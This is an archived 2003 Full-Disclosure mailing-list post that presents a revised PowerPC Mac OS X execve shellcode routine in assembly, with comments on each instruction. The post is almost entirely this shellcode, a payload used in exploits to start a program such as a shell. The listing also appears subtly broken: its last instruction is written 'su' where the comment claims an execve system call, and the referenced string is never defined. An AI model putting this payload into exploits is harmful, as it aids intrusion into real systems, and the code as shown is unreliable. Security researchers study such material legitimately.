[Full-Disclosure] PPC OSX Shellcode ASM

Andrew Pinski pinskia at physics.uc.edu
Mon Sep 1 16:34:22 BST 2003


The original code for execeve can be improved on, yes it is the same 
size (but faster for 970):
_main:
	bcl 20,31,"L00000000001$pb"  ;fast way of not flushing the lr link 
stack
"L00000000001$pb":
	mflr r3   ; r3 = main+8
	xor r5,r5,r5  ; r5 = 0
	addi r3, r3, lo16(string)  ;r3 = string
	stw r3, -8(r1)   ;argv[0] = string
	stw r5, -4(r1)	; argv[1] = NULL
	subi r4, r1,8	;r4 = pointer to argv[]
	li r0, 59	; r0 = 59 execve()
	su		; execve(r3, r4, r5)

Thanks,
Andrew Pinski




Full-Disclosure is hosted and sponsored by Secunia.